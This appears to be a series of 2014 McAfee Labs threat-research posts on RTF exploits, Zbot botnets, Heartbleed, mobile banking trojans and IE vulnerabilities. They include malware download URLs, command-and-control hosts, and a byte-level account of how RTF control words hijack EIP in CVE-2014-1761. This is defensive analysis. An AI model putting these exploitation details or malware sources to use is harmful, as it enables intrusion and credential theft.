After that, the first-stage shellcode in the second object searches for and executes the second-stage shellcode.

Analyzing the dropped malware
After a successful start, the exploit downloads the malware from http://track.invoice-accounts.org/WebTracking/updateoffice.exe and executes it. See following piece of shellcode:

The dropped updateoffice.exe is a variant of the Win32/Trojan.zbot family. Now let’s look at a behavior analysis of the malware, consisting of three steps.

Step 1
The malware copies itself to the %temp% directory and renames itself laruo.exe (with perhaps some random characters), and executes. The full path may look like this:
C:\Documents and Settings\%user%\Local Settings\Temp\Owma\laruo.exe.

Step 2
Laruo.exe releases its driver file (2ad5a3) to the %system32\drivers directory and loads it into the kernel (C:\WINDOWS\system32\drivers\2ad5a3.sys). The malicious driver replaces a kernel-mode driver, and also hooks NtOpenProcess and NtOpenThread in the SSDT kernel. The driver code is encrypted. The malicious driver is a variant of the W32.Rootkit.Necurs family.

Step 3
Laruo.exe is injected into the explorer.exe process, and adds itself to AutoRun by editing the following register key:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run Value: “C:\Documents and Settings\sh1t0u\Local Settings\Temp\Owma\laruo.exe.

Laruo.exe disables the Windows firewall by modifiying the value of the register key
HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile.

It also does some self-deleting using the following command line:
C:\WINDOWS\system32\cmd.exe” /c “C:\DOCUME~1\%user%\LOCALS~1\Temp\OLDFF57.bat.

With the malware injected into explorer.exe, the injection code connects to the malicious domain aulbbiwslxpvvphxnjij.biz (50.116.4.71) for DNS requests. The string is contained in the malware file itself, as shown next:

The address 115.126.143.176 is the active control server as we write this:

Conclusion
To simplify, the process of the RTF exploit takes four steps:

1. Load the second-stage shellcode for future execution (preparing for Step 4)
2. Spray the heap using the method we first saw in the CVE-2013-3906 .docx exploit (preparing for Step 4)
3. Exploit CVE-2010-3333
   A. If successful, the malware executes (shutting down the Word process). => Game over
   B. If failing, nothing happen except go to Step 4.
4. Exploit CVE-2013-3906 with the sprayed heap and second-stage shellcode prepared in Step 1 and 2. => Game over

In this post we have showcased a real-world multiexploitation RTF attack that we recently detected in the wild. Even though the RTF is not a scriptable file format, this RTF-specific trick is able to exploit multiple vulnerabilities in one single RTF attack. This trick helps bad guys maximize their chances of success.

From this analysis we now know how flexible the RTF file format can be: It could perhaps embed any Office exploit. From a defense point of view, the complexity of the RTF format poses a challenge for accurate detection via signature-based methods. We have seen quite a lot of RTF exploits that lack detections, but we are glad to see that our sandboxing solutions–such as McAfee Advanced Threat Defense and the Advanced Exploit Detection System project–are filling the gap.

We would like to thank Bing Sun, Xiaoning Li (Intel Labs,) and Chong Xu for their help with this analysis.

The post RTF Attack Takes Advantage of Multiple Exploits appeared first on McAfee.

A serious RTF zero-day attack has struck recently. McAfee detection solutions were provided a couple of days ago that allowed us to spot in-the-wild attacks. We detected this exploit on Wednesday. McAfee Labs researchers have been actively working on this threat. In this post, we will share our perspective on how the exploit works–specifically how an extended instruction pointer (EIP) is controlled at a deep technical level.

From our analysis, we believe the root cause of the vulnerability is related to the RTF “overridetable” control word (also called a structure) or the inside structures. An “overridetable” structure may include the “listoverride,” “listoverridecount,” and “lfolevel” fields. The “listoverridecount” basically tells how many instances of “lfolevel” the structure may contain. According to Microsoft’s official specification, the legal value should be 0, 1, or 9. However, in this exploit, the value is 25.

The in-the-wild exploit is a bit complex. However, we can simplify it into this one-line proof of concept:

During our tests, when the value of the “listoverridecount” is set to 25, starting from the 29th value the “lfolevel” structure is handled incorrectly by the Microsoft Word. Specifically, an object-confusion fault occurs, for example, class A is wrongly handled as class B. As every byte of the confusing object can be controlled by the attacker via various control words, the attacker can control the program flow (EIP) accurately.

The attacker controls the EIP to an address in MSCOMCTL.DLL. Because the DLL doesn’t have address space layout randomization (ASLR) enabled (for Office 2010 or earlier versions), the attacker can make the exploit work for Office on newer operating systems such as Windows 7. The first controlled EIP is a fixed address, 0x275A48E8. Let’s see what it looks like:

The preceding first address is controlled from somewhere (shown in the following image) in wwlib.dll via a “call [ecx+4]“.

As we can see, at this point the object (pointed by ecx, at 0×07941060 for this test) is being used incorrectly. What we see is that the memory bytes are always the following (listed at 0×18 length):

07941060  7B 7B 00 00 E8 48 5A 27 89 64 59 27 EF B8 58 27
07941070  59 59 00 00 5A 5A 00 00

Note the second DWORD 0x275A48E8; this is the EIP that is controlled. The other bytes are also important for making sure all the following steps (after the first EIP control) work correctly, such as ROP and shellcode executions. So the question is, Where do the memory bytes for this incorrectly used object come from? Is this filled by some kind of heap spraying or something else? More deep research showed that all of the bytes actually came directly from the RTF file; in other words, all the bytes can be controlled.

The mystery lies in the fields (and their values) in the “listoverrideformat” structure inside the incorrectly handled “lfolevel” structure. The following image shows exactly how the fields’ values are transferred into the 0×18-length memory bytes:

Here are the highlights:

1. Bytes 0-3 (first DWORD) are controlled via the “\levelstartat” control word
2. Byte 4 is controlled via the “\levelnfcn” control word
3. Controlling byte 5 is a little tricky, but it’s important because that’s where the first EIP control goes. This step is not easy due to the nature of the confusing object. The attacker is apparently smart enough to realize that he or she can control the fourth and seventh bits (from low to high) of the byte via the “\levelnorestart” and the ”\levelold” control words, respectively. When these two bits are set, the byte comes to 0×48 (in bits, 0100 1000) which is a part of the DWORD 0x275A48E8. This is enough to transfer the program flow to a useful starting address in MSCOMCTL.DLL.
4. Bytes 6-14 can be controlled via the “\levelnumbers” control word. In this example, the attacker uses a “\’” control word to input a hex byte 0x5A (\’5A). The program reads the other bytes (7-14) directly from the following bytes in the RTF file.
5. Byte 15 is controlled via the “\levelfollow” control word
6. The DWORDs at bytes 16-19 and at bytes 20-23 are controlled via the “\levelspace” and the “\levelindent” control words, respectively. (The linking relationship isn’t shown in the preceding figure.)

Because the object memory can be controlled accurately by the attacker via specific RTF control words, the attacker can make a highly reliable and accurate exploitation, even without a heap spray.

Overview of follow-up executions
(provided by McAfee Labs researcher Jun Xie)

The ROP chain (in MSCOMCTL.DLL) allocates a memory block marked as READ/WRITE/EXECUTE at address 0×40000000, and copies the first-stage shellcode to this address. After that, a specific ROP, usually known as stack pivot, runs and the program flow goes to 0×40000040.

In the first-stage shellcode, the exploit performs a brute-force search to find the file handle to map the RTF file into memory. Then it searches the second-stage shellcode and copies the second-stage shellcode to address 0×40002000. The second-stage shellcode reads the Microsoft patch-log file on the system. If it finds that the last patch time is after April 8, the execution is terminated. Otherwise, it will decrypt and drop malware named svchost.exe (to confuse the victim). The malware makes some other confusing moves, for example, at the end it decrypts and shows a harmless Word document (which includes some porn images) to the victim.

Conclusion
From what we’ve learned, we can see how sophisticated this exploit is and how deeply the attackers understand RTF. Apparently the bad guys understand the related control words and their memory representations at a really deep level.

Considering these elements, we see this zero day as a serious threat and suggest that everyone take the following action(s) as soon as possible:

• For McAfee customers, apply our detection solutions, found here
• Apply the “Fix It” tool or install EMET, as suggested by Microsoft
• Wait to apply the patch that will be released next Tuesday, according to the Microsoft Security Response Center blog post

Thanks to Bing Sun, Xiaoning Li (Intel Labs), and Chong Xu for their help with this analysis.

The post A Close Look at RTF Zero-Day Attack CVE-2014-1761 Shows Sophistication of Attackers appeared first on McAfee.

In McAfee Labs we keep a close eye on the Zeus/Zbot/Gamover botnet malware that is responsible of thousands of samples we gather each day. The following graph shows the total number of Zbot samples submitted to McAfee Labs in recent months.

For a couple of weeks, McAfee Labs has followed a global Zbot campaign, in which payloads have been used to steal credentials. Between the end of March and April 3, the amount of bots connected to the botnet ranged between 26,000 and 41,000.

Countries Involved

The following map and table are based on the data of April 2. Only countries with more than 80 bots are highlighted:

The top 10 countries infected with the data-stealing malware:

Country                     Number of Bots

1.   United Kingdom    6,694

2.   India                      4,820

3.   South Africa           3,472

4.   China                     1,197

5.   Indonesia               1,175

6.   South Korea           1,034

7.   Italy                        1,029

8.   United States            999

9.   Malaysia                    958

10. Taiwan                       664

By the Numbers

The statistics in the following botnet control screen show some interesting details around the most targeted CPUs and operating systems.

The 32-bit CPU architecture is targeted about three times more than 64-bit systems. Windows 7 is the leading operating system, closely followed by Windows XP.

When we started monitoring the botnet, the average number of bots connected to the botnet was 34,461. Around April 1, the number of bots decreased to 26,836. Immediately thereafter, we saw a successful campaign to update the number of bots, with the botnet reaching 41,820 bots. In the United Kingdom, for example, the number of bots grew by 2,000 to 8,663 infected hosts.

The botnet control server hosted at hxxp://vodrasit.su was set up around the beginning of March, although the team behind this was not very careful in guarding the root directory of their server:

Jolly Roger

The malware used to get the bots connected to the control server is called Jolly Roger. This kit has been available on the underground market since October 2013. Security blogger Kafeine offered an excellent overview in his post about this kit.

During the botnet campaigns, we found a sample at hxxp://merdekapalace.com/jr.exe

In a forum in March, “Silent Riot” posted an update on Jolly Roger that announced support for hijacking Bitcoin wallets:

On March 13, Silent Riot mentioned a bug and an update:

The malware steals credentials from various programs on a user’s computer.  The harvesting of credentials can be set up per country or campaign. In this case the botnet harvested data on http/https, FTP, RDP, email (SMTP/POP), and certificates:

The preceding overview shows the type of logs available; the count, the number of lines with harvested credentials; and the size of the logs. For example, 153 RDP credentials were harvested during the month’s campaign. That is not the number of unique sites or links; in some cases the same links are harvested multiple times.

An example of a log file:

During our investigation, we found thousands of leaked social media accounts, webmail, corporate and government email-accounts, RDP sessions into companies, and more. We have reported many of these to CERTs and law enforcement. In one case, a law enforcement agency confirmed that the leaked credentials were already being abused to commit banking fraud.

The control server is no longer available, but we will keep a close watch on this particular botnet to see if it resurfaces.

We would like to thank Kafeine in particular for his help, as well as the many CERTs and law enforcement agencies that responded quickly to our investigation and took actions to inform victims.

The post Zbot Botnet Steals Thousands of Credentials appeared first on McAfee.

Update: 4/11/2014

McAfee’s Heartbleed Test tool has been posted and enables users to test sites for the presence of this vulnerability.

———-

A recent vulnerability in OpenSSL is causing quite a stir. Documented as CVE-2014-0160, this vulnerability has a significant impact on the perceived security of a number servers across the globe.

One of the keys to this vulnerability is SSL heartbeats, which are used to keep messages alive without the need to renegotiate the SSL session. Heartbeat messages can be sent without authenticating with the server.

The exploit

Taking advantage of this vulnerability, attackers can dump up to 64KB of memory near the memory allocated for the SSL heartbeat packet on an infected machine. The attackers won’t know what information they might gather but because the attack can be repeated many times, they can retrieve many 64KB chunks. The memory chunks could contain sensitive information such as passwords, session IDs, private keys, or any other type of data left in memory on the affected server.

One of the factors that makes this such a critical vulnerability is there are no files to detect. It’s completely network borne, and leaves no trace that a system has been attacked. For this reason, network tools are the primary means for mitigating this type of attack.

Further detail

This excerpt from http://Heartbleed.com provides more information:

The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM), and some virtual private networks (VPNs).

The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names, and passwords of the users and the actual content. This in turn may allow attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.

Only products that use OpenSSL Versions 1.0.1a through 1.0.1f are vulnerable. This bug was introduced in OpenSSL in December 2011 and has been in the wild since OpenSSL 1.0.1 appeared, on March, 14, 2012. OpenSSL Version 1.0.1g, released on April 7, fixes the bug.

CVE-2014-0160

The TLS and DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle heartbeat extension packets. This error allows remote attackers to obtain sensitive information from process memory via crafted packets that trigger a buffer over-read, as demonstrated by reading private keys, related to d1_both.c and t1_lib.c, also known as the Heartbleed bug.
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-0160

CERT/CC Vulnerability Note VU#720951
OpenSSL heartbeat extension read overflow discloses sensitive information.
http://www.kb.cert.org/vuls/id/720951

CWE-119
Weakness Class Improper Restriction of Operations within the Bounds of a Memory Buffer (119).
http://cwe.mitre.org/data/definitions/119.html

Here is the general consensus about what is vulnerable and what is not. We’ll update this list as more information appears.

Vulnerable:

• The full list of clients in not yet known
• Android
• Browsers on Linux platforms could be vulnerable
• Third-party code using Python/Ruby/Perl OpenSSL libs may be vulnerable
• Windows programs linked against vulnerable versions of OpenSSL may be vulnerable
• OpenVPN
• Many vendors are currently evaluating their position
• Applications using OpenSSL 1.0.1

Not vulnerable:

• Internet Explorer, Firefox, Chrome: all use the Windows Crypto implementation
• Internet Information Server
• Applications using OpenSSL 1.0.1g or later

Here’s a snapshot of the exploit in action:

The Metasploit module for CVE-2014-0160 (openssl_heartbleed.rb) is in use. Settings allow for the tweaking of TLS Versions 1.0 to 1.2 as well as ports, connection timeouts, and more.

Recommendations

• Customers must upgrade  to OpenSSL version 1.0.1g or install a version of OpenSSL configured with -DOPENSSL_NO_HEARTBEATS
• Customers should be aware that server certificates that are or were protecting data could have been leaked. Attackers with compromised server certificates can perform a man-in-the-middle-attack
• Ensure that Internet browsers are set to check for revoked certificates
• Any self-signed certs should be regenerated using an updated version of OpenSSL, as previous certs could be compromised

Mitigation by McAfee products

Taken from our MTIS report:

Network Security Platform: Signature 45c04400, “UDS-SSL: OpenSSL TLS DTLS Heartbeat Extension Packets Information Disclosure,” provides coverage.

McAfee Vulnerability Manager: The FSL/MVM package of April 9 includes a vulnerability check to assess if your systems are at risk.

Firewall Enterprise: McAfee NGFW (Stonesoft) Update Package 574-5211, released April 8, provides coverage.

The post ‘Heartbleed’ Vulnerability Opens the Door to SSL Heartbeat Exploits appeared first on McAfee.

During recent weeks we’ve seen a new botnet kit advertised in several Russian forums. The iDroidbot costs US$1,500 and targets phones running iOS 7.1 and earlier, as well as Android 2.2 and later. The kit has some interesting features, including a credit-card number grabber and a method for draining mobile wallets.

According to the developer, the bot has the following features:

• Web administration
• Windows XP, 7 administration
• Server connection through TOR
• Connection via proxy

The login screen of the panel (in screen above) shows options such as the TOR/Proxy login.

The malware can tap into several mobile wallets:

• Search and inject into purses on infected machines
• Drain a victim’s Visa QIWI Wallet (up to Version 2.8.4) by substituting operations
• Drain WebMoney Keeper Mobile (up to Version 3.0.8 on R and Z purses) by substituting operations
• Drain Yandex 2.2 (up to Version 2.8.4) by substituting operations

The WM/QIWI/Yandex button (below) shows options for stealing from the wallets:

The preceding screenshot demonstrates theft from a QIWI Wallet, whose electronic payment system allows customers to make payments online for items such as utilities, online purchases, and bank loans. In the statistics part of the admin panel, the vendor shows the amount of money earned so far by this setup:

The malware can steal other data, including:

• Keystrokes by tags or by country. The name Troy appears in the processes.
• Credit card numbers by country
• Email by country

Miscellaneous features:

• Sending SMS in stealth mode to a specified number
• Recording conversations in .wav files
• Intercepting SMS from a specific number
• Taking screenshots

According to the seller, the bots can be spread by the following methods:

• Android 2.2 or later—by setting the MIDlet, instructions included
• iOS 7.1 and earlier—by opening the URL and accepting the agreement
• Sewing a MIDlet to any application

The post iDroid Bot for Sale Taps Into Mobile Wallets appeared first on McAfee.

Mobile banking Trojans have usually pretended to be security applications (for example, Zitmo) or legitimate banking apps (FakeToken or FkSite a.k.a. Perkele) to trick users into installing the malware. These apps steal incoming SMS messages that could contain mTANs (Mobile Transaction Authentication Numbers) used as two-factor authentication to allow Internet transactions. Now, however, it seems that malware authors are adding a new social-engineering trick to improve the rate of malware installations–by taking advantage of one of the biggest and most popular social networks.

Despite the fact that Facebook two-factor authentication has been available since May 2011, currently there is no official stand-alone application to generate one-time passwords similar to the mobile app Google Authenticator. Instead, Facebook delivers the second factor of authentication via two functions:

• Login approvals: If it is enabled, Facebook will send a text message with the security code to the mobile phone number configured in your profile (contact information) every time you try to log in from an unknown device.
• Code generator: For when you are traveling and can’t receive text messages. If this function is activated, you can get a security code by going to the option “Code Generator” in the Facebook mobile app.

Recently McAfee Labs received a mobile malware sample that, at first sight, seems to be just another variant of the Android Trojan iBanking, but in fact is an improved version of the malware. Instead of pretending to be a legitimate banking or security app, this version poses as an official Facebook app that provides a “password token” to protect the account from hijacking by adding another authentication factor. Once the malware is installed, the following icon appears in the home launcher of the device:

Unlike the official Facebook app, the malware uses the word FaceBook with a capital B. If you notice the change in style, that should trigger an alarm. In order to make dynamic analysis difficult, the app will not work if the IMEI, phone number, network operator and SIM serial number values are the same as those configured by default in an Android emulator. On the other hand, if the app is executed in a real device, it will ask for device administrator privileges to make the removal of the app more difficult:

Another suspicious characteristic is the text “Additional text explaining why this needs to be added,” which shows that this version of the malware is currently under development. After the app is activated by the device administrator, the malware shows the following user interface–pretending to be a Facebook password-token generator:

When the user clicks on the button Generate Password Token, the app simulates the generation of the security code to finally provide the “New Token” that should be used to access your Facebook account:

The provided security code will not work in Facebook because it is a fake number generated by a custom algorithm based on the device identifier (IMEI) or random numbers. At the same time, the malware will start two services that will run in the background without the user’s consent:

Just like older variants of iBanking, this variant can also execute commands sent by the attacker via SMS or HTTP to perform any of the following actions:

• Intercept incoming SMS messages (that could include mTAns) and forward them to the attacker
• Forward all incoming calls to a phone number specified in the malware
• Steal all the SMS messages in the inbox and sent folders
• Steal all the call logs (incoming/Outgoing/missed calls)
• If the app was added as a Device Administrator, the malware will attempt to erase all user data by asking the user to do so. External storage such as SD cards will not be affected.
• Record the surrounding audio captured by the microphone to store it in the SD card and later send it to a remote server
• Send a text message, with the body provided by the attacker, to the number
• Steal the contact list
• Steal all the images (jpg, jpeg, gif and png) stored in the SD card
• Leak the GPS location of the infected device
• Report all installed applications in the device
• Start the malicious services and send a text message to the attacker with the SIM serial number, manufacturer, and model of the infected device

Taking into account the existence of security vulnerabilities such as Heartbleed, which allows the remote extraction of sensitive data such as user names and passwords, it is clear that only one password is not enough to protect access to online services. For that reason multifactor authentication systems are becoming more popular every day as an additional security measure to prevent the hijacking of online accounts. This variant of iBanking shows that malware authors are aware of this step and have started to associate with social networks to trick users into installing their malware.

McAfee Mobile Security detects this Android threat as Android/iBanking.B and alerts mobile users if it is present, while protecting them from any data loss. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com.

The post iBanking Mobile Trojan Poses as Facebook Token Generator appeared first on McAfee.

Money acts as one of the key drivers for cybercrime. Add to this cybercrime’s lower risk than traditional crime, and there is little wonder that we are witnessing the evolution of crime to the digital sphere. In previous research papers, we focused on the service-based nature of cybercrime, in which anybody can be a cybercriminal because the ability to outsource any component of the attack is now available on the surface web. Indeed, we have already witnessed major breaches aided by this service-based nature.

This of course is only part of the story. Although the attack may be the highest profile in terms of media coverage, it does not address the key step of “getting paid.” The use of virtual currencies in cyberattacks was covered in our report Digital Laundry, but it does not tell the whole story.

In the latest research I co-authored with Charles McFarland and François Paget, Jackpot! Money Laundering Through Online Gambling, we analyzed the role of online gambling sites for money laundering. Although this may be seen as a rather obvious issue, the scale and ease with which such sites facilitate laundering may be surprising. For example, the numbers of unlicensed sites are as many as nine times those of licensed operators. We are also witnessing many sites now operating on the Dark Web and leveraging virtual currencies. If we add to this an ecosystem that provides a multitude of tools to aid in obfuscating those laundered funds, there is no doubt that the challenge for law enforcement is significant.

Let’s hear from Troels Oerting, the Head of the European Cybercrime Centre:

“Almost all organised crime is profit driven. In the ‘real’ world and in the ‘virtual’ world. Back in the old days of Prohibition—in Al Capone’s Chicago—the money trail became the key to get criminals behind bars. ‘Follow the money’ became an integrated part of education on police and prosecutors academies.

“The saying is still valid. But the rules of the game are changing. Money is normally laundered in 3 stages: Placement, Layering, and Integration. This was easy to follow in the old days. Money continues to flow inside and between countries, regions, and globally and the speed and ease in doing so is a necessity in our global interconnected world. Money is the primary goal for criminals—their business model. It is also needed for fueling criminal operations, and to finance terrorism or violent extremism. A lot of crime will move into cyberspace. To take advantage of a new ‘business opportunity’ with endless income and limited risk. But also to take advantage of the ability to be unidentifiable on the Dark Net and on stealthy services.

“Finally criminals and terrorists will also be attracted to virtual currency and the advantages this unregulated payment system will bring. The case against Liberty Reserve shows that money laundering is not a ‘penny game’ and it is facilitated in jurisdictions which are not always helpful to mainstream policing.

“In [the European Cybercrime Centre] we build on ‘financial intelligence’ in order to integrate this important information flow to become part of the trigger for recommending investigations to Member States against networks and their kingpins. It is a difficult, complicated and time consuming task with many legal rules to observe. But we will continue. And also continue to inform the public on the state of play. It is a difficult job to keep crime at ‘an acceptable level’ in cyberspace and we will continue to need a discussion and debate on how to strike that balance. We will try to do our part.”

Addressing the issue

National instruments to address global crime are hugely inefficient as money flows can cross borders at the click of a button. It is for this reason we have witnessed the development of centers such as the European Cybercrime Centre that aid collaboration between global law enforcement and the private sector. We at McAfee support their efforts. In fact, I have recently been appointed as a special advisor.

Other examples of law enforcement collaboration include the Global Initiative against Transnational Crime, a newly established network that brings together law enforcement professionals with experts from other actors such as policy makers, the private sector, the development sector, and academia. “As globalization and technology enable criminality at unprecedented levels, we urgently need new thinking, innovative and proactive responses that are predicated upon building partnerships between different actors and across borders,” said Mark Shaw, Director, Global Initiative Against Transnational Organized Crime.

It is clear that without an effective platform to collaborate across multiple borders, cybercriminals will get paid and get away with it.

You can read the full report here.

The post Cybercrime Report: Getting Paid and Getting Away With It appeared first on McAfee.

On April 26, Microsoft released Security Advisory 2963983 for Microsoft Internet Explorer. In-the-wild exploitation of this vulnerability has been observed across limited, targeted attacks. The flaw is specific to a use-after-free vulnerability in VGX.DLL (memory corruption). Successful exploitation can give an attacker the ability to run arbitrary code (via remote code execution). The flaw affects the following:

• Microsoft Internet Explorer 6
• Microsoft Internet Explorer 7
• Microsoft Internet Explorer 8
• Microsoft Internet Explorer 9
• Microsoft Internet Explorer 10
• Microsoft Internet Explorer 11

Current McAfee product coverage and mitigation

• McAfee Vulnerability Manager:  The FSL/MVM package of April 28 includes a vulnerability check to assess if your systems are at risk.
• McAfee VirusScan (AV):  The 7423 DATs (release date April 29, 2014) provide coverage for perimeter/gateway products and the command-line scanner-based technologies.  Full detection capabilities, across all products, will be released in the 7428 DAT update (release date May 4, 2014).
• McAfee Web Gateway (AV): The 7423 DATs (release date April 29, 2014) provide coverage.
• McAfee Network Security Platform (NIPS): The UDS Release of April 28 contains detection.
  • Attack ID: 0x4512e700
  • Name: “UDS-HTTP: Microsoft Internet Explorer CMarkup Object Use-After-Free vulnerability”
• McAfee Host Intrusion Prevention (HIPS):  Generic buffer overflow protection is expected to cover code execution exploits.
• McAfee Next Generation Firewall (NGFW): Update package 579-5211 (released April 29, 2014) provides detection.

Resources

• https://technet.microsoft.com/library/security/2963983
• http://blogs.technet.com/b/srd/archive/2014/04/26/more-details-about-security-advisory-2963983-ie-0day.aspx
• http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-1776
• http://www.kb.cert.org/vuls/id/222929

The post Product Coverage and Mitigation for CVE-2014-1776 (Microsoft Internet Explorer) appeared first on McAfee.